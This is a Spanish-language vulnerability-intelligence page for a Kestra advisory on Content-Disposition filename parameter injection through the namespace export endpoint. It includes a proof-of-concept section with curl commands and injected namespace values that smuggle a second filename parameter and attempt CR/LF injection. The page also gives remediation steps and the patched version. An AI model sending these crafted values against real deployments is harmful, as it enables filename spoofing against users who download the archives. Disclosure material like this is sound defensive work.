llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Maven · io.kestra:kestra

GHSA-9GP7-896W-M3R7

Content-Disposition filename parameter injection in Kestra via an unvalidated `namespace` path segment on the namespace-files export endpoint

Parche disponible
Descargar PNG JSON
CVSS 3.1
2.6
Baja
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -18 d de la divulgación
Exposición53 dDesde la divulgación, 29 sept 2026, 7:56 a. m.
Detección50 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Esta no le quita el sueño ni a un SOC novato.Puedes seguir viendo memes. Con moderación.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 2.0.1
Monitoreo
Detectada +1
11 sept 26
29 sept 26
6 nov 26
19 nov 26
21 nov 26
11 sept 26
29 sept 26
17 oct 26
3 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.0.1 io.kestra:kestra · -18 d desde divulgación
Divulgación Publicada GHSA-9GP7-896W-M3R7 divulgada · CVSS 2.6 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Description

Summary

`NamespaceFileController.export` builds the `Content-Disposition` response header by directly concatenating the client-controlled `{namespace}` path segment into a quoted `filename="..."` parameter, with no validation or output-encoding of the namespace value. A `"` (double quote) inside `namespace` breaks out of the quoted filename and lets the caller inject additional `Content-Disposition` parameters (filename spoofing / header-parameter confusion). The namespace is not validated at this endpoint - a value containing `"`, spaces, or `;` is accepted and the endpoint returns `HTTP 200` - confirming the missing input validation. Raw CR/LF response splitting is not possible (Micronaut rejects header values containing CR/LF), so impact is bounded to filename spoofing, and this is reported as Low.

Details

The header is built by raw string concatenation of the namespace:

`webserver/src/main/java/io/kestra/webserver/controllers/api/NamespaceFileController.java:311`

return HttpResponse.ok(bos.toByteArray())
    .header("Content-Disposition", "attachment; filename=\"" + namespace + "_files.zip\"");

The `{namespace}` path variable is not checked against Kestra's namespace format before this use, so an attacker-chosen quote closes the `filename="..."` value early and appends arbitrary further `Content-Disposition` parameters. The same raw-path-segment reflection pattern exists at `DashboardController.java:418-419,437-438` (the `filename` there is built from `{id}` and `{chartId}`), also unvalidated and similarly limited.

CR/LF injection into the header value is rejected by the framework (`HTTP 422 "Invalid header value"`), so full HTTP response splitting is not achievable - only in-header parameter injection.

PoC

Complete, reproducible instructions with real, unredacted values captured from a live run.

Environment. Kestra v1.3.37 at `http://localhost:3031`, basic-auth `admin@kestra.io` / `Admin1234!` (so `Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=`).

Step 1 - Baseline: a normal namespace

Raw request:

GET /api/v1/main/namespaces/company.team/files/export HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=

Command:

curl -s -u 'admin@kestra.io:Admin1234!' -D - -o /dev/null \
  'http://localhost:3031/api/v1/main/namespaces/company.team/files/export'

Response headers (relevant line):

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="company.team_files.zip"
Step 2 - Quote breakout: `namespace = foo"bar` (URL-encoded `foo%22bar`)

Raw request:

GET /api/v1/main/namespaces/foo%22bar/files/export HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=

Command:

curl -s -u 'admin@kestra.io:Admin1234!' -D - -o /dev/null \
  'http://localhost:3031/api/v1/main/namespaces/foo%22bar/files/export'

Response headers:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="foo"bar_files.zip"

The injected `"` closes the quoted `filename` value early - the header is now malformed with the attacker's quote inside it.

Step 3 - Inject a second `filename` parameter: `namespace = x"; filename="pwned.html`

URL-encoded namespace: `x%22%3B%20filename%3D%22pwned.html`.

Raw request:

GET /api/v1/main/namespaces/x%22%3B%20filename%3D%22pwned.html/files/export HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=

Command:

curl -s -u 'admin@kestra.io:Admin1234!' -D - -o /dev/null \
  'http://localhost:3031/api/v1/main/namespaces/x%22%3B%20filename%3D%22pwned.html/files/export'

Response headers:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="x"; filename="pwned.html_files.zip"

A second `filename` parameter (`filename="pwned.html..."`) has been injected into the `Content-Disposition` header. Clients that honour the last/second `filename` parameter save the archive under the attacker-chosen name.

Step 4 - CR/LF is blocked (no full response splitting)

Command:

curl -s -u 'admin@kestra.io:Admin1234!' -D - \
  'http://localhost:3031/api/v1/main/namespaces/foo%0d%0aX-Injected:%20yes/files/export'

Response:

HTTP/1.1 422 Illegal argument

{"message":"Illegal argument: Invalid header value", ...}

The framework rejects CR/LF in the header value, so this is header-parameter injection only, not full HTTP response splitting.

Differential summary (all captured live)

| `namespace` value | Resulting `Content-Disposition` | Status |
|---|---|---|
| `company.team` (baseline) | `attachment; filename="company.team_files.zip"` | 200 |
| `foo"bar` | `attachment; filename="foo"bar_files.zip"` | 200 (quote breakout) |
| `x"; filename="pwned.html` | `attachment; filename="x"; filename="pwned.html_files.zip"` | 200 (second param injected) |
| `foo\r\nX-Injected: yes` | - | 422 Invalid header value (CR/LF blocked) |

Impact

This is an improper-output-encoding / improper-input-validation issue (header parameter injection).

  • Filename spoofing in the `Content-Disposition` header of a ZIP download: an attacker who induces a victim to trigger this export (e.g. a crafted link to the export endpoint with an attacker-chosen namespace) influences the saved filename and can append conflicting header parameters, potentially causing the browser to save the archive under a misleading name or extension.
  • CR/LF response splitting is not achievable (framework-blocked), which bounds the severity to Low.
  • The same class of unvalidated path-segment reflection into `Content-Disposition` exists at `DashboardController.java:418-419,437-438`.

Impacted: any deployment exposing the namespace-files export endpoint to users who can be induced to follow a crafted export URL.

Remediation

  1. Validate `{namespace}` against Kestra's namespace format (e.g. `^[a-z0-9][a-z0-9._-]*$`) at the export controller before use.
  2. Sanitize/encode any value interpolated into `Content-Disposition` (strip `"`, `;`, control chars; use RFC 6266 `filename*` encoding), or use a fixed static filename for the archive.
  3. Apply the same validation/encoding at `DashboardController.java:418-419,437-438`.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
4.9/ 10Medio
Vector 4.9 (moderada) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
io.kestra:kestra≤ 2.0.0
2.0.0
2.0.10
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
mavenio.kestra:kestra
Corregida 2.0.1 -18 d 2.0.10 no afectada
Versiones corregidas2.0.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/kestra-io/kestra/security/advisories/GHSA-9gp7-896w-m3r7

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.